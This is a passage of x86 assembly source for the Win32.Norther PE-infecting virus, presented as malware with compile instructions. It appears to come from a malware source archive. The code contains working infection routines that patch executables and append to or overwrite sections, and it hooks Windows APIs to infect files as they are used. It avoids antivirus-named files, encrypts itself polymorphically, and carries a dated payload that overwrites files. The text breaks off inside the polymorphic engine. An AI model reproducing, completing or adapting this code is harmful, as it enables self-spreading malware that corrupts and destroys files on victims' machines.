MalwareSourceCode/Win32/Infector/Win32.Norther.ASM
2020-10-16 23:26:21 +02:00

2420 lines
48 KiB
NASM

;
; Win32.Norther By DR-EF (c) 2004
; -------------------------------
;
; Virus Name:Win32.Norther
; Size:8k
; Type:PE Infector
; Author:DR-EF
;
;
; Virus Features:
; ---------------
; - Infect Files At 20 upper directorys level using
; the dot dot method
;
; - 2 methods of infection: .reloc section overwriting
; or append to last section
;
; - use size padding to mark infected files
;
; - E.P.O,the virus patch the mov eax,fs:[00000000]
; instruction with call virus_decryptor & inc ebx
; instead of modifly entry point
;
; - Per Process Residenty,Norther hook the WinExec,
; CreateProcess,SetCurrectDirectory,CreateFile apis
; and infect files when this apis called
;
; - Dont Infect SFC protected files & files that have
; name like av software
;
; - Norther Polymorphic\Encrypted using the Voltage
; polymorphic engine version 2.0
;
; How To Compile:
; ---------------
; tasm32 /m3 /ml /zi Norther.asm , , ;
; tlink32 /tpe /aa /v Norther , Norther,,import32.lib
; pewrsec Norther.exe
;
;
;
.386
.model flat
DEBUG equ 0
VirusSize equ (VirusEnd-VirusStart)
extrn ExitProcess:proc
extrn GetModuleHandleA:proc
extrn MessageBoxA:proc
.data
db ?
.code
Norther:
mov eax,VirusSize
push offset FirstGen
pushad
jmp FG
VirusStart equ $
mov esp,[esp + 8h]
pop dword ptr fs:[0]
add esp,0ch ;restore stack
FG: call Delta ;get delta offset
Delta: pop ebp
sub ebp,offset Delta
mov eax,400000h ;host image base
HostImageBase equ ($-VirusStart-4)
HostImageBase_ equ ($-4)
push eax ;save image base in the stack
add eax,[eax + 3ch] ;goto pe header offset
add eax,80h ;goto import data directory
mov eax,[eax] ;get it rva
add eax,[esp] ;convert it to va
@_Dll: mov esi,[eax + 0ch] ;get rva to dll name
cmp esi,0h ;no more imported dlls ?
je ReturnToHost
add esi,[esp] ;convert it to va
mov ecx,8h
call OverK32
db "KERNEL32"
OverK32:pop edi
rep cmpsb ;compare dll name
je _____1
add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR
jmp @_Dll ;structure
_____1: mov esi,[eax] ;get rva to pointers to image import by name structures
add esi,[esp] ;convert it to va
xor edx,edx
@NxtApi:push edx ;save loop index
push esi ;save pointer to structures
mov esi,[esi] ;get import by name structure rva
add esi,[esp + 8h] ;convert it to va
add esi,2h ;skip the IBN_Hint
call OverGMH
db "GetModuleHandleA"
OverGMH:pop edi
mov ecx,10h
rep cmpsb ;compare api name
je GetAddr
pop esi
pop edx
add edx,4h
add esi,4h
jmp @NxtApi
GetAddr:pop esi
pop edx ;get loop index
mov esi,[eax + 10h] ;get rva to name
add esi,[esp] ;convert it to va
add esi,edx ;goto GetModuleHandleA api address
pop eax ;restore stack
mov eax,[esi] ;eax - GetModuleHandleA api address !
call Over_K32
db "Kernel32.dll",0
Over_K32:
call eax ;get kernel32 image base
or eax,eax ;fail ?
je ReturnToHost
push eax ;save kernel32 image base in the stack
add eax,[eax + 3ch]
mov eax,[eax + 78h]
add eax,[esp] ;eax - kernel32 export table
push eax
xor edx,edx
mov eax,[eax + 20h]
add eax,[esp + 4h]
mov edi,[eax]
add edi,[esp + 4h] ;edi - api names array
dec edi
NxtCmp: inc edi
call OverGPA
db "GetProcAddress",0
OverGPA:pop esi
mov ecx,0eh
rep cmpsb
je GetGPA
inc edx
Nxt_1: cmp byte ptr [edi],0h
je NxtCmp
inc edi
jmp Nxt_1
GetGPA: pop eax ;eax - kernel32 export table
shl edx,1h ;edx - GetProcAddress position
mov ebx,[eax + 24h]
add ebx,[esp]
add ebx,edx
mov dx,word ptr [ebx]
shl edx,2h
mov ebx,[eax + 1ch]
add ebx,[esp]
add ebx,edx
mov ebx,[ebx]
add ebx,[esp]
mov [ebp + GetProcAddress],ebx
mov ecx,NumberOfApis
call OverNames
db "CreateFileA",0
db "CloseHandle",0
db "CreateFileMappingA",0
db "MapViewOfFile",0
db "UnmapViewOfFile",0
db "FindFirstFileA",0
db "FindNextFileA",0
db "FindClose",0
db "SetCurrentDirectoryA",0
db "GetCurrentDirectoryA",0
db "GetFileSize",0
db "SetFilePointer",0
db "SetEndOfFile",0
db "GetTickCount",0
db "LoadLibraryA",0
db "MultiByteToWideChar",0
db "GetFullPathNameA",0
db "GetSystemTime",0
OverNames:
pop eax
Call OverAddresses
CreateFile dd 0
CloseHandle dd 0
CreateFileMapping dd 0
MapViewOfFile dd 0
UnmapViewOfFile dd 0
FindFirstFile dd 0
FindNextFile dd 0
FindClose dd 0
SetCurrentDirectory dd 0
GetCurrentDirectory dd 0
GetFileSize dd 0
SetFilePointer dd 0
SetEndOfFile dd 0
GetTickCount dd 0
LoadLibrary dd 0
MultiByteToWideChar dd 0
GetFullPathName dd 0
GetSystemTime dd 0
NumberOfApis equ 18
GetProcAddress dd 0
CopyRight db "Win32.Norther (c) 2004 DR-EF"
OverAddresses:
pop ebx
pop edx
NextAPI:push ecx
push edx
push eax
push eax
push edx
call [ebp + GetProcAddress]
cmp eax,0h
jne SaveIt
add esp,0ch
jmp ReturnToHost
SaveIt: mov dword ptr [ebx],eax
pop eax
NextSTR:inc eax
cmp byte ptr [eax],0h
jne NextSTR
inc eax
add ebx,4h
pop edx
pop ecx
loop NextAPI
;check for payload
lea eax,[ebp + SYSTEMTIME]
push eax
call [ebp + GetSystemTime]
cmp word ptr [ebp + wMonth],0ch
jne skp_p
cmp word ptr [ebp + wDay],1dh
jne skp_p
inc byte ptr [ebp + active_payload]
mov dword ptr [ebp + SearchMask + 1],"lld." ;bye bye *.dll
skp_p: ;get SfcIsProtectedFile API
mov dword ptr [ebp + SfcIsFileProtected],0
call OverSfc
db "SFC.DLL",0
OverSfc:call [ebp + LoadLibrary] ;load sfc.dll
or eax,eax
je NoSFC
call OvrSfc
db "SfcIsFileProtected",0
OvrSfc: push eax
call [ebp + GetProcAddress] ;get SfcIsFileProtected api
or eax,eax
je NoSFC
mov dword ptr [ebp + SfcIsFileProtected],eax
NoSFC: lea eax,[ebp + CurrentDirectory] ;we finish to get apis,now lets infect
push eax ;files in the currect & upper directorys
push 0ffh
call [ebp + GetCurrentDirectory]
cmp eax,0h
je HookApis
call InfectDirectory
lea eax,[ebp + CurrentDirectory]
push eax
call [ebp + SetCurrentDirectory]
HookApis:
;hook winexec
mov eax,dword ptr [ebp + HostImageBase_]
lea ebx,[ebp + Hook_Dll1]
lea ecx,[ebp + Win_execfn]
lea edx,[ebp + WinExecHook]
call HookApi
mov dword ptr [ebp + WinExec_addr],eax
;hook CreateFileA
mov eax,dword ptr [ebp + HostImageBase_]
lea ebx,[ebp + Hook_Dll1]
lea ecx,[ebp + CreateFile_fn]
lea edx,[ebp + CreateFile_Hook]
call HookApi
mov dword ptr [ebp + CreateFile_addr],eax
;hook CreateProcessA
mov eax,dword ptr [ebp + HostImageBase_]
lea ebx,[ebp + Hook_Dll1]
lea ecx,[ebp + CreateProcess_fn]
lea edx,[ebp + CreateProcess_Hook]
call HookApi
mov dword ptr [ebp + CreateProcess_addr],eax
;hook SetCurrentDirectory
mov eax,dword ptr [ebp + HostImageBase_]
lea ebx,[ebp + Hook_Dll1]
lea ecx,[ebp + SetCurrentDirectory_fn]
lea edx,[ebp + SetCurrentDirectory_Hook]
call HookApi
mov dword ptr [ebp + SetCurrentDirectory_addr],eax
ReturnToHost:
popad
db 64h,0a1h,0,0,0,0 ;mov eax,fs:[00000000]
dec ebx
ret
SYSTEMTIME:
wYear dw 0
wMonth dw 0
wDayOfWeek dw 0
wDay dw 0
wHour dw 0
wMinute dw 0
wSecond dw 0
wMilliseconds dw 0
Payload: ;the "Payload" !
IF DEBUG
int 3
ENDIF
lea ebx,[ebp + cFileName]
call OpenFile
lea esi,[ebp + CopyRight]
xchg edi,eax
mov ecx,29ah
rep movsb
mov dword ptr [ebp + FileSize],29ah
call RestoreFile
call CloseFile
ret
active_payload db 0
;--------------- api hooks --------------------------
WinExecHook:
IF DEBUG
int 3
ENDIF
pushad
pushfd
call HookD
HookD: pop ebp
sub ebp,offset HookD
mov esi,[esp + 28h]
call CheckFileName
jc SkipFile1
mov ebx,[esp + 28h]
call InfectFile
SkipFile1:
popfd
popad
push ebp
call Hook_D
Hook_D: pop ebp
sub ebp,offset Hook_D
xchg eax,ebp
pop ebp
jmp dword ptr [eax + WinExec_addr]
WinExec_addr dd 0
Win_execfn db "WinExec",0
CreateFile_Hook:
IF DEBUG
int 3
ENDIF
pushad
pushfd
call HookD4
HookD4: pop ebp
sub ebp,offset HookD4
xor ecx,ecx
mov esi,[esp + 28h]
NxtByte:cmp byte ptr [esi],0h
je GetDir
inc ecx
inc esi
jmp NxtByte
GetDir: mov esi,[esp + 28h]
add esi,ecx
@NxtByt:dec esi
dec ecx
cmp byte ptr [esi],'\'
jne @NxtByt
mov esi,[esp + 28h]
lea edi,[ebp + CurrentDirectory]
rep movsb
lea eax,[ebp + CurrentDirectory]
push eax
call [ebp + SetCurrentDirectory]
call InfectDirectory
popfd
popad
push ebp
call Hook_D4
Hook_D4:pop ebp
sub ebp,offset Hook_D4
xchg eax,ebp
pop ebp
jmp dword ptr [eax + CreateFile_addr]
CreateFile_addr dd 0
CreateFile_fn db "CreateFileA",0
CreateProcess_Hook:
IF DEBUG
int 3
ENDIF
pushad
pushfd
call HookD3
HookD3: pop ebp
sub ebp,offset HookD3
mov esi,[esp + 28h]
call CheckFileName
jc SkipFile2
mov ebx,[esp + 28h]
call InfectFile
SkipFile2:
popfd
popad
push ebp
call Hook_D3
Hook_D3:pop ebp
sub ebp,offset Hook_D3
xchg eax,ebp
pop ebp
jmp dword ptr [eax + CreateProcess_addr]
CreateProcess_addr dd 0
CreateProcess_fn db "CreateProcessA",0
SetCurrentDirectory_Hook:
IF DEBUG
int 3
ENDIF
pushad
pushfd
call HookD2
HookD2: pop ebp
sub ebp,offset HookD2
push dword ptr [esp+28h]
call [ebp + SetCurrentDirectory]
call InfectDirectory
popfd
popad
push ebp
call Hook_D2
Hook_D2:pop ebp
sub ebp,offset Hook_D2
xchg eax,ebp
pop ebp
jmp dword ptr [eax + SetCurrentDirectory_addr]
SetCurrentDirectory_addr dd 0
SetCurrentDirectory_fn db "SetCurrentDirectoryA",0
Hook_Dll1 db "KERNEL32",0
;------------------------------------------------------
;infect files in 20 directorys level(upper),
;input:
;currect directory already setted
InfectDirectory:
mov byte ptr [ebp + DirLevel],0h ;init the directory level counter
Nextdir:cmp byte ptr [ebp + DirLevel],14h
je ExitSearch
lea eax,[ebp + WIN32_FIND_DATA]
push eax
call OverSM
SearchMask equ $
db "*.exe",0
OverSM: call [ebp + FindFirstFile]
cmp eax,INVALID_HANDLE_VALUE
je nxt_dir
mov [ebp + hfind],eax
i_file: cmp byte ptr [ebp + active_payload],1h
jne skip_p
call Payload
skip_p: mov eax,[ebp + nFileSizeLow]
call PadSize
cmp edx,0h ;already infected ?
je skipf
lea esi,[ebp + cFileName]
call CheckFileName
jnc skipf
lea ebx,[ebp + cFileName]
call InfectFile
skipf: lea eax,[ebp + WIN32_FIND_DATA]
push eax
push [ebp + hfind]
call [ebp + FindNextFile]
or eax,eax
jne i_file
nxt_dir:inc [ebp + DirLevel]
call OverDD
db "..",0
OverDD: call [ebp + SetCurrentDirectory]
or eax,eax
jne Nextdir
ExitSearch:
ret
DirLevel db 0h
hfind dd 0
CurrentDirectory db 0ffh dup(0)
WIN32_FIND_DATA:
dwFileAttributes dd 0
ftCreationTime dq 0
ftLastAccessTime dq 0
ftLastWriteTime dq 0
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
cFileName db 0ffh dup (0)
cAlternateFileName db 14h dup (0)
INVALID_HANDLE_VALUE equ -1
;ebx - file name
InfectFile:
IF DEBUG
int 3
ENDIF
pushad
lea eax,[ebp + Infection_Err_Handler]
push eax
xor eax,eax
push dword ptr fs:[eax] ;set SEH to protect infection function
mov fs:[eax],esp
;check for SFC!
cmp [ebp + SfcIsFileProtected],0h ;there is sfc api ?
je Sfc_Ok
push ebx ;save file name
mov ecx,0ffh ;(1024/4)
xor eax,eax
lea edi,[ebp + FullPath]
rep stosd ;blank buffers
lea eax,[ebp + File_Name]
push eax
lea eax,[ebp + FullPath]
push eax
push 260
push ebx
call [ebp + GetFullPathName] ;get file full path
or eax,eax
jne GetUnic
pop ebx
jmp ExitInfect
GetUnic:push 260
lea eax,[ebp + UnicodePath]
push eax
push -1 ;string is null terminated
lea eax,[ebp + FullPath]
push eax
xor eax,eax
push eax
push eax
call [ebp + MultiByteToWideChar] ;convert path into unicode
or eax,eax
jne CheckSFC
pop ebx
jmp ExitInfect
CheckSFC:
lea eax,[ebp + UnicodePath]
push eax
push 0h
call [ebp + SfcIsFileProtected] ;check if the file protected:
or eax,eax
je No_Protect
pop ebx
jmp ExitInfect
No_Protect:
pop ebx ;restore file name
Sfc_Ok:
;open file !
call OpenFile ;open & map the file
jnc ExitInfect
cmp word ptr [eax],"ZM" ;check mz sign
jne InfectErr
add eax,[eax + 3ch]
cmp word ptr [eax],"EP" ;check pe sign
jne InfectErr
cmp word ptr [eax + 04h],14Ch ;infect only intel 386
jne InfectErr
mov dx,word ptr [eax + 16h]
and dx,2000h
cmp dx,2000h ;dont infect dlls
je InfectErr
push eax ;save pe header in the stack
;check if the program import the GetModuleHandleA api,which we most need it
cmp dword ptr [eax+80h],0h ;the program has imports ?
jne Import_
pop eax ;restore stack
jmp InfectErr
Import_:mov edx,[eax + 80h] ;get rva to import section
xor ecx,ecx
mov cx,[eax + 6h] ;get number of sections
mov ebx,[eax + 74h] ;get number of data directorys
shl ebx,3h
add eax,ebx
add eax,78h ;goto first section body
FindImp:cmp dword ptr [eax + 0ch],edx ;compare section rva,with import section rva
je _Import
add eax,28h ;goto next section
loop FindImp
pop eax ;restore stack
jmp InfectErr ;some thing went wrong.
_Import:mov eax,[eax + 14h] ;get pointer to raw data rva
add eax,[ebp + mapbase] ;convert it to va
push eax ;save import section start
@NxtDLL:mov ebx,[eax + 0ch] ;get dll name rva
cmp ebx,0h ;no more dlls ?
jne ____3
add esp,8h ;restore stack
jmp InfectErr
____3: sub ebx,edx
add ebx,[esp] ;convert it to va
mov edi,ebx
mov ecx,8h
call OverK32_
db "KERNEL32"
OverK32_:
pop esi
rep cmpsb
je ____2
add eax,14h
jmp @NxtDLL
____2: mov esi,[eax] ;get rva to pointers to image import by name structures
sub esi,edx
add esi,[esp] ;convert it to va
NextApi:push esi ;save pointer to IBN structures
mov edi,[esi]
sub edi,edx
add edi,[esp + 4h]
add edi,2h ;skip the IBN_Hint
call _GMH
db "GetModuleHandleA"
_GMH: pop esi
mov ecx,10h
rep cmpsb
je GMH_Ok
pop esi
add esi,4h
cmp dword ptr [esi],0h
jne NextApi
add esp,0ch
jmp InfectErr
GMH_Ok: add esp,8h ;restore stack
;check if the code section has enough space for the decryptor
mov eax,[esp] ;get pe header
xor ecx,ecx
mov cx,[eax + 6h] ;get number of sections
mov ebx,[eax + 74h] ;get number of data directorys
shl ebx,3h
add eax,ebx
add eax,78h ;eax - first section header
@NS: mov ebx,[eax + 24h] ;get section flags
and ebx,20h
cmp ebx,20h
je _CheckS
add eax,28h ;move to next section
loop @NS
_CheckS:mov ebx,[eax + 10h] ;get size of raw data
sub ebx,[eax + 8h] ;sub from it the virtual size
cmp ebx,0beh ;free space most be at least 190 bytes
ja SpaceOk
pop eax
jmp InfectErr
SpaceOk:mov ebx,[eax + 14h] ;get pointer to raw data
add ebx,[eax + 8h] ;add the virtual size to it
add ebx,[ebp + mapbase] ;add the mapbase
mov [ebp + WhereToWriteDecryptor],ebx
push dword ptr [eax + 8h]
push dword ptr [eax + 10h] ;push size of raw data
pop dword ptr [eax + 8h] ;overwrite virtual size with it
;patch instruction in the code section
push eax
mov ecx,100h
mov eax,[esp + 8h] ;get pe header
mov eax,[eax + 28h] ;get entry point
add eax,[ebp + mapbase] ;goto entry point
call ScanAndPatch
jnc ScanAll
add esp,8h ;restore stack
jmp Patch_OK
ScanAll:pop eax
pop ecx ;get virtual size
mov eax,[eax + 14h]
add eax,[ebp + mapbase]
call ScanAndPatch ;replace mov eax,fs:[00000000] with call virus
jc Patch_OK
pop eax
jmp InfectErr
Patch_OK:
;check if the program has .reloc section,and if it has enough space for the virus
mov byte ptr [ebp + RelocInfection],0h
mov eax,[esp] ;get pe header
cmp dword ptr [eax + 0a0h],0h ;there is reloc section ?
je LastSection
mov edx,[eax + 0a0h] ;get rva to .reloc section
mov eax,[esp] ;get pe header
xor ecx,ecx
mov cx,[eax + 6h] ;get number of sections
mov ebx,[eax + 74h] ;get number of data directorys
shl ebx,3h
add eax,ebx
add eax,78h ;eax - first section header
@F_RLC: mov ebx,[eax + 0ch] ;get virtual address
cmp ebx,edx
je CheckReloc
add eax,28h
loop @F_RLC
jmp LastSection ;error,try last section method
CheckReloc:
cmp dword ptr [eax + 10h],VirusSize ;compare size of raw data with virus size
jb LastSection
push dword ptr [eax + 10h]
pop dword ptr [eax + 8h] ;fix section size
or dword ptr [eax + 24h],0c0000020h;set section flags to code\readable\writeable
push eax
mov ebx,eax
mov [ebp + FixRVA],0 ;add VirtualSize-PointerToRawData
mov eax,[ebx + 0ch] ;subtraction to the virus offset
sub eax,[ebx + 14h] ;when decrypting and jumping to
mov [ebp + FixRVA],eax ;virus at runtime.
pop eax
mov edi,[eax + 14h]
add edi,[ebp + mapbase]
mov [ebp + StartOfDataToEncrypt],edi
push edi ;save virus offset in infected file
lea esi,[ebp + VirusStart]
mov ecx,VirusSize
rep movsb ;copy virus into host
mov eax,[esp+4h] ;get pe header
mov dword ptr [eax + 0a0h],0h ;clear relocation data directory
mov dword ptr [eax + 0a4h],0h
inc byte ptr [ebp + RelocInfection]
jmp FixPE
LastSection:
mov eax,[esp] ;get pe header
xor ecx,ecx
mov cx,[eax + 6h] ;get number of sections
dec ecx
mov ebx,[eax + 74h] ;get number of data directorys
shl ebx,3h
add eax,ebx
add eax,78h ;eax - first section
@Ls: add eax,28h ;move to next section
loop @Ls
or dword ptr [eax + 24h],0c0000020h;set section flags to code\readable\writeable
push dword ptr [eax + 8h] ;save virtual size
add dword ptr [eax + 8h],VirusSize ;add virus size to section virtual size
xchg eax,ebx
mov eax,[ebx + 8h] ;get section new virtual size
mov ecx,dword ptr [esp+4h] ;get pe header
mov ecx,[ecx + 3ch] ;get file alignment
push eax ;\
xor edx,edx ; \
div ecx ;-->align section size
sub ecx,edx ; /
pop dword ptr [ebx + 10h] ;/
add dword ptr [ebx + 10h],ecx ;set new section size of raw data
mov [ebp + FixRVA],0 ;add VirtualSize-PointerToRawData
mov eax,[ebx + 0ch] ;subtraction to the virus offset
sub eax,[ebx + 14h] ;when decrypting and jumping to
mov [ebp + FixRVA],eax ;virus at runtime.
pop edi
add edi,[ebx + 14h] ;get pointer to raw data
add edi,[ebp + mapbase]
mov [ebp + StartOfDataToEncrypt],edi
push edi ;save virus offset in infected files
lea esi,[ebp + VirusStart]
mov ecx,VirusSize
rep movsb ;copy virus to the host
FixPE: ;fix size of image in pe header & image base in the virus
cmp byte ptr [ebp + RelocInfection],0h
je _FixVir
mov ebx,[esp+4h] ;get pe header
mov eax,[ebx + 50h] ;get size of image
add eax,VirusSize
push eax
xor edx,edx
mov ecx,[ebx + 38h] ;get section alignment
div ecx
sub ecx,edx
pop eax
add eax,ecx ;align size of image
mov dword ptr [ebx + 50h],eax ;set new size of image
_FixVir:pop edi ;restore virus offset in infected file
pop esi ;get pe header
mov eax,[esi + 34h] ;get image base
mov [edi + HostImageBase],eax ;set image base in the virus
;encrypt it & write polymorphic decryptor
mov [ebp + ProgramImageBase],eax ;set image base in the decryptor
call CreateDecryptor
;close the file
cmp byte ptr [ebp + RelocInfection],0h
je _CloseF
mov eax,dword ptr [ebp + FileSize]
call PadSize
push FILE_BEGIN
push 0h
push eax
push dword ptr [ebp + hfile]
call [ebp + SetFilePointer]
push dword ptr [ebp + hfile]
call [ebp + SetEndOfFile]
call CloseFile
jmp ExitInfect
_CloseF:
call PadFileSize
call CloseFile
ExitInfect:
pop dword ptr fs:[0]
add esp,4h
popad
ret
InfectErr:
call RestoreFile
call CloseFile
pop dword ptr fs:[0]
add esp,4h
popad
ret
Infection_Err_Handler:
mov esp,[esp + 8h]
pop dword ptr fs:[0]
add esp,4h
popad
ret
SfcIsFileProtected dd 0
File_Name dd 0
FullPath db 520 dup(0)
UnicodePath db 520 dup(0)
;scan a code for mov eax,fs:[00000000] instruction and
;patch it with call virus_decryptor and inc ebx instruction
;input:
;eax - address of code
;ecx - size of code to scan
;output:
;carry flag - success\fail.
ScanAndPatch:
__1: cmp word ptr [eax],0a164h
jne nxt_w
cmp dword ptr [eax + 2h],0
jne nxt_w
mov byte ptr [eax],0e8h ;call instruction
mov ebx,[ebp + WhereToWriteDecryptor]
push eax
sub eax,[ebp + mapbase]
sub ebx,eax
sub ebx,5h
sub ebx,[ebp + mapbase]
pop eax
mov dword ptr [eax + 1h],ebx
mov byte ptr [eax + 5h],43h ;inc ebx instruction
jmp patchok ;patch only one time.
nxt_w: inc eax
loop __1
jmp nopatch
patchok:stc
ret
nopatch:clc
ret
;check if file is related to programms that has checksum protection or canot be infected
;input:
;esi - file name
;output:
;carry flag
CheckFileName:
xor ecx,ecx
@checkV:cmp byte ptr [esi + ecx],'v'
je badfile
cmp byte ptr [esi + ecx],'V'
je badfile
cmp byte ptr [esi + ecx],0h
je no_v
inc ecx
jmp @checkV
no_v: push esi ;save file name for later use
mov ecx,TwoBytesNames ;scan for 2 bytes bad name
lea edi,[ebp + DontInfectTable]
l2: mov bx,word ptr [edi]
l2_1: mov ax,word ptr [esi]
cmp ax,bx
je ex_rs
add bx,2020h
cmp ax,bx
je ex_rs
sub bx,2020h
inc esi
cmp byte ptr [esi],0h
jne l2_1
mov esi,[esp] ;restore file name
add edi,2h
loop l2
mov ecx,FourBytesNames ;scan for 4 bytes bad name
lea edi,[ebp + DontInfectTable + (2*TwoBytesNames)]
mov esi,[esp] ;get file name
l3: mov ebx,dword ptr [edi]
l3_1: mov eax,dword ptr [esi]
cmp eax,ebx
je ex_rs
add ebx,20202020h
cmp eax,ebx
je ex_rs
sub ebx,20202020h
inc esi
cmp byte ptr [esi],0h
jne l3_1
mov esi,[esp]
add edi,4h
loop l3
pop esi
stc
ret
ex_rs: pop esi
badfile:clc
ret
DontInfectTable:
db "FP"
db "TB"
db "AW"
db "DR"
db "F-"
TwoBytesNames equ 5
db "INOC"
db "PAND"
db "ANTI"
db "AMON"
db "N32S"
db "NOD3"
db "NPSS"
db "SMSS"
db "SCAN"
db "ZONE"
db "PROT"
db "MONI"
db "RWEB"
db "MIRC"
db "CKDO"
db "TROJ"
db "SAFE"
db "JEDI"
db "TRAY"
db "ANDA"
db "SPID"
db "PLOR"
db "NDLL"
db "TREN"
db "NSPL"
db "NSCH"
db "ALER"
FourBytesNames equ 27
;open & map a file into the memory:
;input:
; ebx - filename
;output
; carry flag
OpenFile:
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + CreateFile]
cmp eax,INVALID_HANDLE_VALUE
je OpenFileErr
mov dword ptr [ebp + hfile],eax
push 0h
push eax
call [ebp + GetFileSize]
cmp eax,0ffffffffh
je FileSizeErr
mov dword ptr [ebp + FileSize],eax
call PadSize
cmp edx,0h
je FileSizeErr ;already infected
xor eax,eax
push eax
push dword ptr [ebp + FileSize]
add dword ptr [esp],VirusSize
push eax
push PAGE_READWRITE
push eax
push dword ptr [ebp + hfile]
call [ebp + CreateFileMapping]
cmp eax,0h
je FileSizeErr
mov dword ptr [ebp + hmap],eax
push dword ptr [ebp + FileSize]
add dword ptr [esp],VirusSize
xor eax,eax
push eax
push eax
push FILE_MAP_WRITE
push dword ptr [ebp + hmap]
call dword ptr [ebp + MapViewOfFile]
cmp eax,0h
je FileMapErr
mov dword ptr [ebp + mapbase],eax
stc
ret
FileMapErr:
push [ebp + hmap]
call [ebp + CloseHandle]
FileSizeErr:
push [ebp + hfile]
call [ebp + CloseHandle]
OpenFileErr:
clc
ret
CloseFile:
push dword ptr [ebp + mapbase]
call [ebp + UnmapViewOfFile]
push dword ptr [ebp + hmap]
call [ebp + CloseHandle]
push dword ptr [ebp + hfile]
call [ebp + CloseHandle]
ret
RestoreFile:
xor eax,eax
push eax
push eax ;FILE_BEGIN
push dword ptr [ebp + FileSize]
push dword ptr [ebp + hfile]
call [ebp + SetFilePointer]
push dword ptr [ebp + hfile]
call [ebp + SetEndOfFile]
ret
PadFileSize:
mov eax,dword ptr [ebp + FileSize]
add eax,VirusSize
call PadSize
push FILE_BEGIN
push 0h
push eax
push dword ptr [ebp + hfile]
call [ebp + SetFilePointer]
push dword ptr [ebp + hfile]
call [ebp + SetEndOfFile]
ret
hfile dd 0
hmap dd 0
mapbase dd 0
FileSize dd 0
RelocInfection db 0
CreationTime dq 0
LastAccessTime dq 0
LastWriteTime dq 0
FILE_ATTRIBUTE_NORMAL equ 00000080h
OPEN_EXISTING equ 3
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
INVALID_HANDLE_VALUE equ -1
PAGE_READWRITE equ 4h
FILE_MAP_WRITE equ 00000002h
FILE_BEGIN equ 0
;pad size by 101
;input:
; eax - size
;output:
; eax - new size
; edx - reminder
PadSize:
push eax
xor edx,edx
mov ecx,65h ;101d
div ecx
cmp edx,0h
je NoPad
sub ecx,edx
xchg ecx,edx
NoPad: pop eax
add eax,edx
ret
;input:
;eax - image base
;ebx - dll name
;ecx - function name
;edx - hook procedure
;output
;eax - new function address or 0 if fail
HookApi:
cmp word ptr [eax],"ZM" ;check mz sign
jne HookErr
push eax ;save image base in the stack
add eax,[eax + 3ch] ;goto pe header
add eax,80h
mov eax,[eax] ;get import section rva
cmp eax,0h
je HookErr_
add eax,[esp] ;convert it to va
@Dll: mov esi,[eax + 0ch]
cmp esi,0h
je HookErr_
add esi,[esp] ;esi - dll name
;compare the dll name in [esi],with our dll:
pushad
xchg edi,ebx
xor ecx,ecx
@Gsize: cmp byte ptr [edi+ecx],0h ;get our dll size
je _Size
inc ecx
jmp @Gsize
_Size: rep cmpsb
je _dll
popad
add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR structure
jmp @Dll
_dll: popad
;edx - Hook procedure
;ecx - function to hook
;eax - IMAGE_IMPORT_DESCRIPTOR of our api dll
;[esp] - image base
mov ebx,[eax] ;get rva to pointers to image import by name structures
add ebx,[esp] ;convert it to va
xor edi,edi ;used to save loop index
@FindApi:
;ebx - pointer to pointers arrary of import by name structures
push edi ;save loop index
push ebx ;save pointer to import by name structures
push eax ;save import section rva
push ecx ;save function to hook name
push edx ;save hook procedure
mov esi,[ebx] ;get import by name structure rva
add esi,[esp + 14h] ;convert it to va
add esi,2h ;skip the IBN_Hint
mov edi,ecx ;move our api name into edi
xor ecx,ecx ;used to save our api name size
@GSize_:cmp byte ptr [edi + ecx],0h ;did we in the end ?
je ___Size
inc ecx
jmp @GSize_
___Size:inc ecx ;include the 0
rep cmpsb ;compare api names
je ApiFound ;we found it !
pop edx
pop ecx
pop eax
pop ebx
pop edi
add edi,4h
add ebx,4h ;move to next pointer
cmp dword ptr [ebx],0h ;no more pointers ???
jne @FindApi
HookErr_:
pop eax
HookErr:xor eax,eax
ret
ApiFound:
pop edx
pop ecx
pop eax
pop ebx
pop edi
mov esi,[eax + 10h] ;rva to name
add esi,[esp]
add esi,edi ;goto our api address
mov eax,[esi] ;get our api old address
mov [esi],edx ;hook it !
pop esi ;restore stack
ret
;---------------------------------------------------------------------------
;Voltage PolyMorphic Engine,Version 2.0:
;---------------------------------------
;encrypt code with 4 bytes key with diffrent way each time
;and create polymorphic decryptor,the polymorphic decryptor
;has diffrent instructions that do the same thing mixed with
;junk code,with anti emulation/debuggin tricks
CreateDecryptor:
call InitRandomNumber ;init random number generator
call GenRandomNumber
and eax,1f40h ;get random numebr between 0 ~ 8000
cmp eax,7d0h
ja NextM
mov byte ptr [ebp + EncryptionMethod],1h ;use not
jmp EncryptVirus
NextM: cmp eax,0fa0h
ja NextM2
mov byte ptr [ebp + EncryptionMethod],2h ;use add
jmp EncryptVirus
NextM2: cmp eax,1770h
ja NextM3
mov byte ptr [ebp + EncryptionMethod],3h ;use sub
jmp EncryptVirus
NextM3: mov byte ptr [ebp + EncryptionMethod],4h ;use xor
EncryptVirus:
call GenRandomNumber
mov dword ptr [ebp + key],eax ;get random key
xor eax,eax
mov ecx,SizeOfDataToEncrypt ;size of data in words
mov edi,[ebp + StartOfDataToEncrypt]
mov esi,edi
@enc: lodsd
cmp byte ptr [ebp + EncryptionMethod],1h ;is not ?
jne NextE
not eax
jmp _stosw
NextE: cmp byte ptr [ebp + EncryptionMethod],2h ;is add ?
jne NextE2
add eax,dword ptr [ebp + key]
jmp _stosw
NextE2: cmp byte ptr [ebp + EncryptionMethod],3h ;is sub ?
jne NextE4
sub eax,dword ptr [ebp + key]
jmp _stosw
NextE4: xor eax,dword ptr [ebp + key] ;xor
_stosw: stosd
loop @enc
mov edi,[ebp + WhereToWriteDecryptor]
call WriteInstruction1
call WriteJunkCode
call WriteInstruction2
call WriteJunkCode
call WriteInstruction3
call WriteJunkCode
call WriteInstruction4
call WriteJunkCode
mov dword ptr [ebp + PolyBuffer],edi ;saved for loop
call WriteInstruction5
call WriteJunkCode
call WriteInstruction6
call WriteJunkCode
call WriteInstruction7
call WriteJunkCode
call WriteInstruction8
call WriteJunkCode
call WriteInstruction9
call WriteJunkCode
ret
EncryptionMethod db 0 ;1=not 2=add 3=sub 4=xor
key dd 0
WhereToWriteDecryptor dd 0
StartOfDataToEncrypt dd 0
ProgramImageBase dd 0
